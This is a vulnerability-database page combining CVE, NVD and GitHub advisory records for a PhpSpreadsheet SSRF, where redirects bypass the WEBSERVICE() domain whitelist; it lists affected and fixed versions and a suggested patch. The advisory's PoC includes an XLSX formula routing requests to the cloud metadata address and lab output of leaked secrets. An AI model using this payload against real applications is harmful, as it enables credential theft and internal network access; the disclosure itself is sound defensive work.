Vulnerability-Lookup

CVE-2026-59931 (GCVE-0-2026-59931)

Vulnerability from cvelistv5 – Published: 2026-07-28 17:27 – Updated: 2026-07-28 18:13

Title

PhpSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

Summary

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

7 references

URL	Tags
https://github.com/PHPOffice/PhpSpreadsheet/secur…	x_refsource_CONFIRM
https://github.com/PHPOffice/PhpSpreadsheet/commi…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
PHPOffice	PhpSpreadsheet	Affected: >= 4.0.0, < 5.8.1 Affected: >= 3.3.0, < 3.10.7 Affected: >= 2.2.0, < 2.4.7 Affected: >= 2.0.0, < 2.1.18 Affected: < 1.30.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-59931",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-28T18:13:13.134222Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-28T18:13:17.566Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PhpSpreadsheet",
          "vendor": "PHPOffice",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 5.8.1"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.3.0, \u003c 3.10.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.2.0, \u003c 2.4.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c 2.1.18"
            },
            {
              "status": "affected",
              "version": "\u003c 1.30.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL\u0027s host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP\u0027s HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell\u0027s calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-28T17:27:27.300Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
        }
      ],
      "source": {
        "advisory": "GHSA-6hq5-7373-42rg",
        "discovery": "UNKNOWN"
      },
      "title": "PhpSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-59931",
    "datePublished": "2026-07-28T17:27:27.300Z",
    "dateReserved": "2026-07-07T18:20:06.126Z",
    "dateUpdated": "2026-07-28T18:13:17.566Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-59931\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-28T18:17:22.873\",\"lastModified\":\"2026-07-28T19:17:39.457\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL\u0027s host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP\u0027s HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell\u0027s calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"PHPOffice\",\"product\":\"PhpSpreadsheet\",\"versions\":[{\"version\":\"\u003e= 4.0.0, \u003c 5.8.1\",\"status\":\"affected\"},{\"version\":\"\u003e= 3.3.0, \u003c 3.10.7\",\"status\":\"affected\"},{\"version\":\"\u003e= 2.2.0, \u003c 2.4.7\",\"status\":\"affected\"},{\"version\":\"\u003e= 2.0.0, \u003c 2.1.18\",\"status\":\"affected\"},{\"version\":\"\u003c 1.30.6\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\",\"baseScore\":7.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.1,\"impactScore\":4.0}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-28T18:13:13.134222Z\",\"id\":\"CVE-2026-59931\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-918\"}]}],\"references\":[{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-59931\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-28T18:13:13.134222Z\"}}}], \"references\": [{\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-28T18:12:51.892Z\"}}], \"cna\": {\"title\": \"PhpSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist\", \"source\": {\"advisory\": \"GHSA-6hq5-7373-42rg\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 7.7, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"PHPOffice\", \"product\": \"PhpSpreadsheet\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 4.0.0, \u003c 5.8.1\"}, {\"status\": \"affected\", \"version\": \"\u003e= 3.3.0, \u003c 3.10.7\"}, {\"status\": \"affected\", \"version\": \"\u003e= 2.2.0, \u003c 2.4.7\"}, {\"status\": \"affected\", \"version\": \"\u003e= 2.0.0, \u003c 2.1.18\"}, {\"status\": \"affected\", \"version\": \"\u003c 1.30.6\"}]}], \"references\": [{\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL\u0027s host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP\u0027s HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell\u0027s calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-918\", \"description\": \"CWE-918: Server-Side Request Forgery (SSRF)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-28T17:27:27.300Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-59931\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-28T18:13:17.566Z\", \"dateReserved\": \"2026-07-07T18:20:06.126Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-28T17:27:27.300Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-59931

Vulnerability from fkie_nvd - Published: 2026-07-28 18:17 - Updated: 2026-07-28 19:17

Severity

7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "PhpSpreadsheet",
          "vendor": "PHPOffice",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 5.8.1"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.3.0, \u003c 3.10.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.2.0, \u003c 2.4.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c 2.1.18"
            },
            {
              "status": "affected",
              "version": "\u003c 1.30.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL\u0027s host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP\u0027s HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell\u0027s calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6."
    }
  ],
  "id": "CVE-2026-59931",
  "lastModified": "2026-07-28T19:17:39.457",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-59931",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-28T18:13:13.134222Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-28T18:17:22.873",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-6HQ5-7373-42RG

Vulnerability from github – Published: 2026-07-23 14:55 – Updated: 2026-07-23 14:55

Summary

PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

Details

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

$ctxArray = [
    'http' => [
        'user_agent' => 'Mozilla/5.0 ...',
        // follow_location defaults to true
        // max_redirects defaults to 20
    ],
];

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}

// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);

Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites: - Application uses PhpSpreadsheet >= 5.4.0 - Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain - Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).
Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:

<c r="A1">
  <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>

Upload the XLSX to the target application. The calculation engine:
Validates whitelisted-domain.com against the whitelist — passes
Calls file_get_contents("http://whitelisted-domain.com/redirect?url=...")
file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/ — no re-validation
Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target

# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)

# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via http://169.254.169.254/
Access internal services not exposed to the internet
Port-scan internal networks via any whitelisted hostname (port is not validated)

This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.

Attack scenarios: - Whitelisted domain has an open redirect vulnerability - Attacker controls the whitelisted domain (e.g., a free-tier API service) - DNS rebinding after the whitelist check

Suggested Fix

Disable redirect following in the stream context:

$ctxArray = [
    'http' => [
        'user_agent' => '...',
        'follow_location' => false,
        'max_redirects' => 0,
    ],
];

Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.

Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.

This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.

Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
